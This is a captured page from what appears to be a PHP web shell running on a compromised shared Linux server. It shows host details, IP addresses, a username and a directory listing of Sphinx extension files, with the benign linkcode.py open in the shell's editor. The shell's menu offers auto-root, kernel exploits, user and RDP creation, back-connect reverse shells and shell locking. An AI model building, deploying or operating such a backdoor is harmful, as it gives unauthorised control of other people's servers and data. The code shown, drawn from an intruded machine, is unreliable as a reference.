Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
sphinx /
ext /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
autodoc
[ DIR ]
drwxr-xr-x
autosummary
[ DIR ]
drwxr-xr-x
napoleon
[ DIR ]
drwxr-xr-x
__init__.py
208
B
-rw-r--r--
apidoc.py
18.93
KB
-rw-r--r--
autosectionlabel.py
2.19
KB
-rw-r--r--
coverage.py
13.85
KB
-rw-r--r--
doctest.py
22.29
KB
-rw-r--r--
duration.py
2.93
KB
-rw-r--r--
extlinks.py
3.47
KB
-rw-r--r--
githubpages.py
1.21
KB
-rw-r--r--
graphviz.py
15.6
KB
-rw-r--r--
ifconfig.py
2.56
KB
-rw-r--r--
imgconverter.py
3.44
KB
-rw-r--r--
imgmath.py
13.01
KB
-rw-r--r--
inheritance_diagram.py
16.78
KB
-rw-r--r--
intersphinx.py
21.01
KB
-rw-r--r--
linkcode.py
2.29
KB
-rw-r--r--
mathjax.py
5.14
KB
-rw-r--r--
todo.py
8.02
KB
-rw-r--r--
viewcode.py
13.47
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : linkcode.py
""" sphinx.ext.linkcode ~~~~~~~~~~~~~~~~~~~ Add external links to module code in Python object descriptions. :copyright: Copyright 2007-2021 by the Sphinx team, see AUTHORS. :license: BSD, see LICENSE for details. """ from typing import Any, Dict, Set from docutils import nodes from docutils.nodes import Node import sphinx from sphinx import addnodes from sphinx.application import Sphinx from sphinx.errors import SphinxError from sphinx.locale import _ class LinkcodeError(SphinxError): category = "linkcode error" def doctree_read(app: Sphinx, doctree: Node) -> None: env = app.builder.env resolve_target = getattr(env.config, 'linkcode_resolve', None) if not callable(env.config.linkcode_resolve): raise LinkcodeError( "Function `linkcode_resolve` is not given in conf.py") domain_keys = { 'py': ['module', 'fullname'], 'c': ['names'], 'cpp': ['names'], 'js': ['object', 'fullname'], } for objnode in list(doctree.traverse(addnodes.desc)): domain = objnode.get('domain') uris: Set[str] = set() for signode in objnode: if not isinstance(signode, addnodes.desc_signature): continue # Convert signode to a specified format info = {} for key in domain_keys.get(domain, []): value = signode.get(key) if not value: value = '' info[key] = value if not info: continue # Call user code to resolve the link uri = resolve_target(domain, info) if not uri: # no source continue if uri in uris or not uri: # only one link per name, please continue uris.add(uri) inline = nodes.inline('', _('[source]'), classes=['viewcode-link']) onlynode = addnodes.only(expr='html') onlynode += nodes.reference('', '', inline, internal=False, refuri=uri) signode += onlynode def setup(app: Sphinx) -> Dict[str, Any]: app.connect('doctree-read', doctree_read) app.add_config_value('linkcode_resolve', None, '') return {'version': sphinx.__display_version__, 'parallel_read_safe': True}
Close